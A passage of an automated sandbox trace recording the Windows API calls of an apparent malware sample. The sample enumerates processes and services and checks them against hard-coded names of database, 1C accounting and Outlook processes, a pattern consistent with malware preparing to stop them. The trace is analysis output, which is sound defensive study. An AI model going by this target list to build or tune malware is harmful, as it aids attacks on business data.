pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.243] lstrlenW (lpString="dwm.exe") returned 7 [0144.243] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.244] lstrlenW (lpString="svchost.exe") returned 11 [0144.244] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0144.244] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0144.244] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.244] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.244] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0144.245] lstrlenW (lpString="reader_sl.exe") returned 13 [0144.245] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.245] lstrlenW (lpString="svchost.exe") returned 11 [0144.245] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0144.245] lstrlenW (lpString="taskhost.exe") returned 12 [0144.245] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0144.245] CloseHandle (hObject=0x390) returned 1 [0144.246] Sleep (dwMilliseconds=0x1f4) [0144.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b6e0 [0144.952] EnumServicesStatusExW (in: hSCManager=0x428b6e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0144.953] GetLastError () returned 0xea [0144.953] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0144.953] EnumServicesStatusExW (in: hSCManager=0x428b6e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0144.954] CloseServiceHandle (hSCObject=0x428b6e0) returned 1 [0144.954] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0144.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0144.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0144.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0144.954] lstrlenW (lpString="AudioSrv") returned 8 [0144.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0144.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0144.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0144.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0144.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0144.954] lstrlenW (lpString="BFE") returned 3 [0144.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0144.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0144.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0144.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0144.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0144.954] lstrlenW (lpString="CryptSvc") returned 8 [0144.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0144.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0144.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0144.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0144.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0144.954] lstrlenW (lpString="CscService") returned 10 [0144.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0144.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0144.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0144.955] lstrlenW (lpString="DcomLaunch") returned 10 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0144.955] lstrlenW (lpString="Dhcp") returned 4 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0144.955] lstrlenW (lpString="Dnscache") returned 8 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0144.955] lstrlenW (lpString="DPS") returned 3 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0144.955] lstrlenW (lpString="eventlog") returned 8 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0144.955] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0144.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0144.955] lstrlenW (lpString="EventSystem") returned 11 [0144.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0144.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0144.955] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0144.956] lstrlenW (lpString="gpsvc") returned 5 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0144.956] lstrlenW (lpString="LanmanWorkstation") returned 17 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0144.956] lstrlenW (lpString="lmhosts") returned 7 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0144.956] lstrlenW (lpString="MMCSS") returned 5 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0144.956] lstrlenW (lpString="MpsSvc") returned 6 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0144.956] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0144.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0144.956] lstrlenW (lpString="NlaSvc") returned 6 [0144.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0144.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0144.956] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0144.957] lstrlenW (lpString="nsi") returned 3 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0144.957] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0144.957] lstrlenW (lpString="PcaSvc") returned 6 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0144.957] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0144.957] lstrlenW (lpString="PlugPlay") returned 8 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0144.957] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0144.957] lstrlenW (lpString="Power") returned 5 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0144.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0144.957] lstrlenW (lpString="ProfSvc") returned 7 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0144.957] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0144.957] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0144.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0144.957] lstrlenW (lpString="RpcEptMapper") returned 12 [0144.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0144.958] lstrlenW (lpString="RpcSs") returned 5 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0144.958] lstrlenW (lpString="SamSs") returned 5 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0144.958] lstrlenW (lpString="Schedule") returned 8 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0144.958] lstrlenW (lpString="SENS") returned 4 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0144.958] lstrlenW (lpString="ShellHWDetection") returned 16 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.958] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0144.958] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0144.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0144.958] lstrlenW (lpString="Spooler") returned 7 [0144.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0144.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0144.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0144.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0144.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0144.959] lstrlenW (lpString="SysMain") returned 7 [0144.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0144.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0144.959] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0144.959] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0144.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0144.959] lstrlenW (lpString="Themes") returned 6 [0144.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0144.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0144.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0144.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0144.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0144.959] lstrlenW (lpString="TrkWks") returned 6 [0144.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0144.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0144.959] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0144.959] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0144.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0144.959] lstrlenW (lpString="UxSms") returned 5 [0144.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0144.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0144.959] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0144.959] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0144.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0144.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0144.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0144.961] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.961] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.961] lstrlenW (lpString="System") returned 6 [0144.961] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0144.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0144.962] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0144.962] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0144.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0144.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0144.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0144.962] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.962] lstrlenW (lpString="smss.exe") returned 8 [0144.962] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0144.962] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.962] lstrlenW (lpString="csrss.exe") returned 9 [0144.962] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.963] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.963] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.963] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.963] lstrlenW (lpString="wininit.exe") returned 11 [0144.963] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0144.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0144.963] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.963] lstrlenW (lpString="csrss.exe") returned 9 [0144.963] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.964] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.964] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.964] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.964] lstrlenW (lpString="winlogon.exe") returned 12 [0144.964] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0144.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0144.964] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.964] lstrlenW (lpString="services.exe") returned 12 [0144.964] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0144.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0144.965] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, 